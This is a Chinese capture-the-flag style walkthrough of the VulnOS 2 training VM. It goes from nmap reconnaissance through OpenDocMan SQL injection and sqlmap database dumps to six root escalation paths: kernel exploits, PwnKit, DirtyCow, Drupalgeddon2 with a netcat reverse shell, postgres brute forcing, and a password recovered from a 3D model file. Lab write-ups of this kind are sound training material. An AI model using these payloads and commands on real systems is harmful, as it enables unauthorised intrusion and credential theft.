十七Seven
- 关注

简介
该项目是c4b3rw0lf作者精心制作的项目环境,是一系列易受攻击的操作系统,打包为虚拟映像,以增强渗透测试技能;目标是获取获得root权限并找到flag.txt文本信息,该项目作为OSCP考试培训必打的一个项目环境,该作者评定该环境为渗透中级水准难度。接下来不管是零基础学习渗透者,还是有些基础的渗透者,甚至是高水平的渗透人员读该的技巧和文章都能学习到一些红队知识。
该项目有始有终会用到 信息收集 -> Web信息探测 -> OpenDocMan攻击-> SSH信息枚举 -> 提权(六种方法),最终拿到flag.txt的过程,那么在五大模块中用到了一些小技巧都会在文章中演示出来,希望大家能动手也来和我一起学习渗透。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
一、信息收集
信息收集非常重要,有了信息才能知道下一步该如何进行,接下来将用nmap来演示信息收集:
1、nmap扫描存活IP
由于本项目环境是nat模式需要项目IP地址,扫描挖掘本地的IP地址信息:
本机IP为:192.168.40.138。
发现本kali ip为40段!用40段进行全网段扫描:
nmap -sP 192.168.40.0/24
发现项目IP:192.168.40.162。
2、nmap全端口扫描
进行namp全端口服务枚举:
nmap -sC -sV -A -T5 192.168.40.162
得到开放的端口信息:
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 80/tcp open http Apache httpd 2.4.7 6667/tcp open irc ngircd
只开了22、80和6667端口,分别是ssh,Web服务器和IRC服务器。
二、Web信息探测
1、Web页面枚举
访问web页面并查看其源码信息:
http://192.168.40.162/
主页仅仅提供一张图片,图片中隐写查看也没有可利用信息。
2、AWVS漏扫
http://192.168.40.162/
AWVS漏扫发现存在Drupal漏洞!
1)配置文件源代码泄露:
http://192.168.40.162/jabc/includes/database/database.inc
2)Drupal 远程代码执行 (SA-CORE-2018-002)
http://192.168.40.162/jabc/
3)继续页面信息收集
在主页面模块点击:Documentation
进入后发现存在隐藏信息!由于安全原因隐藏了信息:/jabcd0cs/
访问jabcd0cs查看:
http://192.168.40.162/jabcd0cs/
访问发现底部是:OpenDocMan 1.2.7
该页面存在OpenDocMan框架,查看是否存在EXP!
三、OpenDocMan攻击
OpenDocMan 是一个全功能的DMS文档管理系统,遵循 ISO 17025/IEC 标准。提供自动化安装脚本、自定义主题、插件、check in/out,分部门访问控制,文件调整,细粒度用户访问控制,强大的搜索功能。
1、OpenDocMan漏洞搜索
使用searchsploit 查找漏洞:
searchsploit OpenDocMan 1.2.7 locate php/webapps/32075.txt cp /usr/share/exploitdb/exploits/php/webapps/32075.txt .
发现32075.txt漏洞,并下载至本地。
分析漏洞palyload:
gedit 32075.txt
存在:CVE-2014-1945, CVE-2014-1946
1)CVE-2014-1945:SQL注入
该漏洞是因为/ajax_udf.php脚本中存在add_value对HTTP GET参数请求验证不充分导致存在的漏洞。
sql 注入payload:
http://[host]/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9
2)CVE-2014-1946:访问控制不当
由于在更新用户配置文件时/signup.php脚本中允许的操作验证不足,导致远程身份验证的攻击者可以将管理权限分配给当前帐户并获得对应用程序的完全控制权限。
payload:
<form action="http://[host]/signup.php" method="post" name="main"> <input type="hidden" name="updateuser" value="1"> <input type="hidden" name="admin" value="1"> <input type="hidden" name="id" value="[USER_ID]"> <input type="submit" name="login" value="Run"> </form>
3)防护手段:
Update to OpenDocMan v1.2.7.2
More Information:
http://www.opendocman.com/opendocman-v1-2-7-1-release/
http://www.opendocman.com/opendocman-v1-2-7-2-released/
2、CVE-2014-1945 SQL注入攻击
1)访问sql 注入链接:
http://192.168.40.162/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9
发现可以查到数据版本,接下来手工注入下。
2)手工注入
查找odm_user数据库底下的username信息:将version()改为username
http://192.168.40.162/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,username,3,4,5,6,7,8,9%20from%20odm_user
发现guest、webmin用户!
继续查看密码:
这里将username改为password即可发现hash值
http://192.168.40.162/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,password,3,4,5,6,7,8,9%20from%20odm_user
发现hash值:
b78aae356709f8c31118ea613980954b 084e0343a0486ff05530df6c705c8bb4
在线解密:
https://www.somd5.com/
md5解密为:webmin1980/guest
3、sqlmap爆库
1)可以用通过sqlmap跑下库:
sqlmap -u "http://192.168.40.162/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --level=5 --risk=3
发现六个数据库:
available databases [6]: [*] drupal7 [*] information_schema [*] jabcd0cs [*] mysql [*] performance_schema [*] phpmyadmin
2)爆表
看看jabcd0cs数据库里的表信息:
sqlmap -u "http://192.168.40.162/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --level=5 --risk=3 -D jabcd0cs --tables
进入odm_user查看字段!
3)爆字段
再看看odm_user数据表里有字段信息:
sqlmap -u "http://192.168.40.162/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --level=5 --risk=3 -D jabcd0cs --tables -T odm_user --columns
4)爆破字段内容
再看看odm_user数据表里字段内容:
sqlmap -u "http://192.168.40.162/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --level=5 --risk=3 -D jabcd0cs --tables -T odm_user --dump
获得账号密码:
webmin
webmin1980
四、SSH信息枚举
1、SSH远程登录
ssh webmin@192.168.40.162 webmin1980 python -c 'import pty; pty.spawn("/bin/bash")' id
登录成功,获得webmin普通用户权限
2、内核信息枚举
利用linpeas.sh扫描脚本进行内网信息枚举
上传linpeas.sh扫描脚本:
python -m SimpleHTTPServer 8081 wget http://192.168.40.138:8081/linpeas.sh
上传成功!
赋权执行脚本:
chmod +x linpeas.sh ./linpeas.sh
发现以下信息:
内核漏洞:3.13.0-24-generic Sudo version 1.8.9p5 本地开启了3306、5432 数据库 存在普通用户:vulnosadmin
五、提权
方法一、内核提权
1、查找内核漏洞:
searchsploit linux 3.13.0
发现2个可利用:
linux/local/37292.c linux/local/37293.txt
2、本地kali下载37292.c
locate linux/local/37292.c cp /usr/share/exploitdb/exploits/linux/local/37292.c . ls
3、开启http服务上传脚本至项目机:
python -m SimpleHTTPServer 8081 wget http://192.168.40.138:8081/37292.c
4、使用gcc编译后赋权执行:
gcc 37292.c -o test chmod +x test ./test
获得root权限!!!
5、获得flag:
cd ~/root cat flag.txt
获得flag!
方法二、CVE-2021-4034
1、上传漏洞并解压编译至项目机:
wget http://192.168.40.138:8081/PwnKit-Exploit-main-2021-4034.zip unzip PwnKit-Exploit-main-2021-4034.zip make
编译成功,得到exploit脚本
2、赋权并执行脚本:
chmod +x exploit ./exploit id
成功获得root权限用户!
方法三、脏牛提权
1、漏洞搜索:
locate 40847.cpp cp /usr/share/exploitdb/exploits/linux/local/40847.cpp .
下载40847.cpp至本地kali
2、本地开启http服务上传脚本至项目机:
python -m SimpleHTTPServer 8081 wget http://192.168.40.138:8081/40847.cpp
上传成功!
3、编译并赋权执行:
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o test1 40847.cpp -lutil chmod +x test1 ./test1
将root密码改为dirtyCowFun,尝试登录。
4、ssh远程登录:
ssh root@192.168.40.162 dirtyCowFun
成功登录root用户!
方法四、Drupal 远程代码执行 (SA-CORE-2018-002) CVE-2018-7600
1、下载好drupalgeddon2.rb攻击脚本:https://github.com/dreadlocked/Drupalgeddon2
wget https://github.com/dreadlocked/Drupalgeddon2/blob/master/drupalgeddon2.rb
wget http://192.168.40.138:8081/drupalgeddon2.rb
./drupalgeddon2.rb http://192.168.40.162/jabc
如果执行报错:
2: from ./drupalgeddon2.rb:16:in `<main>' 1: from /usr/lib/ruby/vendor_ruby/rubygems/core_ext/kernel_require.rb:85:in `require'
https://github.com/dreadlocked/Drupalgeddon2/issues/55---参考文章解决
----- 执行:sudo gem install highline 安装完后即可运行!
./drupalgeddon2.rb http://10.211.55.42/jabc---成功拿到shell
然后nc反弹个稳定的shell:
nc -vlp 7777
nc -e /bin/sh 10.211.55.19 7777
python -c 'import pty; pty.spawn("/bin/bash")'
方法五:后台登录
访问登录:
http://192.168.40.162/jabcd0cs/ webmin webmin1980
成功登录!
后台可以上传php,但是无法解析!
方法六、3D建模
1、在cd /home/webmin目录下找到压缩包文件:
cd /home/webmin post.tar.gz
发现post.tar.gz压缩包,下载至本地分析
2、开启python http服务下载:
python -m SimpleHTTPServer 8081 wget http://192.168.40.162:8081/post.tar.gz
下载成功,解压文件
tar -zxvf post.tar.gz
解压开里面都是hydra源码!
查看下端口开启情况:
netstat -ntulp
postgresql:5432 开启着!
3、ssh端口转发
ssh webmin@192.168.40.162 -L 5432:localhost:5432 webmin1980
这时候本地就开启了5432端口!
4、密码爆破
1)暴力破解方法1:hydra
hydra爆破postgresql数据库用户名和密码
利用postgres_defaul,下载密码本和用户本:
locate postgres_defaul cp /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt . cp /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt .
爆破密码本和用户本:
hydra -L postgres_default_user.txt -P postgres_default_pass.txt -s 5432 127.0.0.1 postgres -vvv
获得密码和用户名:
[5432][postgres] host: 127.0.0.1 login: postgres password: postgres
2)暴力破解方法2:MSF
开启msf,postgres_login利用:
msfconsole use auxiliary/scanner/postgres/postgres_login
配置IP参数执行:
set RHOSTS 127.0.0.1 run
爆破成功,获得账户密码:
[+] 127.0.0.1:5432 - Login Successful: postgres:postgres@template1
pg_dumpall用来提取我们可以访问的所有数据库:
PGPASSWORD="postgres" pg_dumpall -U postgres -h localhost -p 5432
发现账号密码:
vulnosadmin c4nuh4ckm3tw1c3
5、shh登录:
ssh vulnosadmin@192.168.40.162 c4nuh4ckm3tw1c3
进来后ls发现目录存在:r00t.blend
blend 是3D建模文件
利用MobaXterm工具下载文件r00t.blend:
下载至本地。
用blender软件查看r00t.blend文件:
获得密码:ab12fg//drg
6、ssh登录root用户:
ssh root@192.168.40.162 ab12fg//drg
成功登录root权限!!!
六、知识拓展
1、Drupal 7简单分析
使用searchsploit 搜索:
searchsploit Drupal 7
下载至本地利用:
locate php/webapps/44449.rb cp /usr/share/exploitdb/exploits/php/webapps/44449.rb .
分析payload:
gedit 44449.rb
分析:
为了测试代码执行,脚本尝试回显随机生成的 8 个字符的字符串。然后,如果响应与发送的字符串匹配,则假定代码执行正在运行:470行
random = (0...8).map { (65 + rand(26)).chr }.join
利用ruby 连接项目机:
ruby 44449.rb http://192.168.40.162/jabc/
成功获得shell!
2、awvs扫描分析
AWVS扫描发现存在:跨站脚本攻击:XXS跨站脚本攻击
http://192.168.40.162/jabcd0cs/
http://192.168.40.162/jabcd0cs/signup.php http://192.168.40.162/jabcd0cs/forgot_password.php http://192.168.40.162/jabcd0cs/index.php
七、总结
通过以上的学习,我们认知了一些红队的小技巧的技术手段,完成了从信息收集到内核提权项目落地,学习到了非常多的技巧,例如nmap全端口信息枚举、AWVS漏扫、CVE-2014-1945 SQL注入攻击、手工sql注入、sqlmap爆库、内核信息枚举、内核提权、CVE-2021-4034、脏牛提权、Drupal 远程代码执行、3D建模等等,希望伙伴们能实际操作复现一遍!来巩固自身的渗透技术和技巧!
希望大家提高安全意识,没有网络安全就没有国家安全!
作者:十七
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)